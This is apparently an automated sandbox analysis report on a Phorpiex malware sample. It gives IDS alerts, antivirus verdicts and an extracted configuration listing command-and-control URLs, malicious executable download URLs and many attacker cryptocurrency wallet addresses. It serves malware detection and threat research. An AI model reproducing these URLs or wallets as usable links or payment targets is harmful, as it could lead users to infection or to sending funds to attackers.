2024-09-17T23:12:47.533845+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49826	91.202.233.141	80	TCP
2024-09-17T23:12:51.407501+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49828	185.215.113.66	80	TCP
2024-09-17T23:12:54.150335+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49829	185.215.113.66	80	TCP
2024-09-17T23:12:56.871465+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49831	185.215.113.66	80	TCP
2024-09-17T23:12:59.607090+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.66	80	TCP
2024-09-17T23:13:02.354191+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49834	185.215.113.66	80	TCP
2024-09-17T23:13:05.072325+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49836	185.215.113.66	80	TCP
2024-09-17T23:13:09.923770+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49837	77.91.77.92	80	TCP
2024-09-17T23:13:13.779440+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49839	77.91.77.92	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.92/4	Avira URL Cloud: Label: malware
Source: http://twizt.net/chnlk6.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk11.exe	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/lknet.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.92/6	Avira URL Cloud: Label: malware
Source: http://twizt.net/chnlk20.exe	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/2	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk7.exe	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/PLTRESA	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk10.exe	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/1	Avira URL Cloud: Label: malware
Source: http://91.202.233.141/5	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/4	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/6	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/3	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk4.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk5.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk16.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk15.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk2.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk17.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.66/6	Avira URL Cloud: Label: malware
Source: http://twizt.net/chnlk18.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk3.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk14.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk8.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk13.exe	Avira URL Cloud: Label: phishing
Source: http://91.202.233.141/6.	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk19.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk9.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk12.exe	Avira URL Cloud: Label: phishing
Source: http://twizt.net/chnlk1.exe	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\524024912.exe	Avira: detection malicious, Label: TR/Dldr.Agent.gqemd
Source: C:\Windows\sysmablsvr.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882

Found malware configuration

Source: 1.2.sysmablsvr.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": ["http://185.215.113.66/", "http://77.91.77.92/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw", "band1f05d98dvehkecw6ex3yd4pxqssw3uemx09sg2n", "bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Ge7amzjabAHdubjUYS2Cw84hNScLVRHmHg", "EQDYiebztC06Lpo9y1-m-g_bOsJ2KN3I-1mOgllNNIlIPZLi", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\524024912.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\sysmablsvr.exe	ReversingLabs: Detection: 84%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\sysmablsvr.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C410 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	0_2_0040C410
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040C410 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	1_2_0040C410
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040C410 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	2_2_0040C410

Phishing

Yara detected Phorpiex

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 2.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.sysmablsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1804968685.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1784055994.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1909749196.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1805000272.0000000000547000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysmablsvr.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysmablsvr.exe, type: DROPPED

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\158752420.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00406650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406510
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_00406650
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00406510
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00406650
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406510

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 84.54.122.14:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 2.189.25.176:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 178.151.4.209:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49730 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 86.102.56.226:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49732 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 217.30.170.10:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49738 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 81.195.238.130:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49743 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 178.253.109.195:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 37.255.23.100:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 5.236.253.124:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49756 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 89.43.145.18:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 151.240.79.133:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49779 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49745 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49749 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49744 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 105.106.52.97:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 178.88.111.20:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49754 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49769 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 46.100.121.146:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 78.39.225.27:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 37.228.65.185:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49759 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49791 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49794 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 79.165.23.131:40500
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 100.109.48.43:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49826 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 149.54.47.90:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49786 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49796
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49789 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 213.230.127.213:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49746 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 2.190.124.23:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49776 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49825 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 2.185.144.157:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49831 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49802 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49764 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49794
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49734 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49799 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49751 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 217.30.162.37:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49741 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49814 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49767 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49793 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49797 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49782 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2044077 - Severity 1 - ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC : 192.168.2.4:59145 -> 188.215.175.89:40500
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49820 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49836 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49821 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49828 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49762 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49781 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49832 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49823 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49777 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49807 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49816 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49812 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49834 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49788 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49748 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49785 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49803 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49805 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49837 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49800 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49809 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49758 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49766 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49774 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49839 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49817 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49770 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49829 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49810 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2848295 - Severity 1 - ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3 : 192.168.2.4:49772 -> 77.91.77.92:80
Source: Network traffic	Suricata IDS: 2837677 - Severity 1 - ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) : 185.215.113.66:80 -> 192.168.2.4:49793

Contains functionality to check if Internet connection is working

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B010 htons,socket,connect,getsockname, www.update.microsoft.com	0_2_0040B010
Source: C:\Windows\sysmablsvr.exe	Code function: 1_2_0040B010 htons,socket,connect,getsockname, www.update.microsoft.com	1_2_0040B010
Source: C:\Windows\sysmablsvr.exe	Code function: 2_2_0040B010 htons,socket,connect,getsockname, www.update.microsoft.com	2_2_0040B010

Source: unknown

Network traffic detected: IP country count 21

Source: global traffic	TCP traffic: 192.168.2.4:49733 -> 5.234.221.184:40500
Source: global traffic	TCP traffic: 192.168.2.4:49736 -> 77.244.144.31:40500
Source: global traffic	TCP traffic: 192.168.2.4:49742 -> 178.88.111.20:40500
Source: global traffic	TCP traffic: 192.168.2.4:49747 -> 59.91.192.118:40500
Source: global traffic	TCP traffic: 192.168.2.4:49750 -> 149.54.35.210:40500
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 95.212.18.41:40500
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 217.30.160.154:40500
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 89.106.236.58:40500
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 46.35.93.221:40500
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 194.93.26.70:40500
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 109.74.69.43:40500
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 88.204.209.230:40500
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 2.182.190.8:40500
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 139.135.146.244:40500
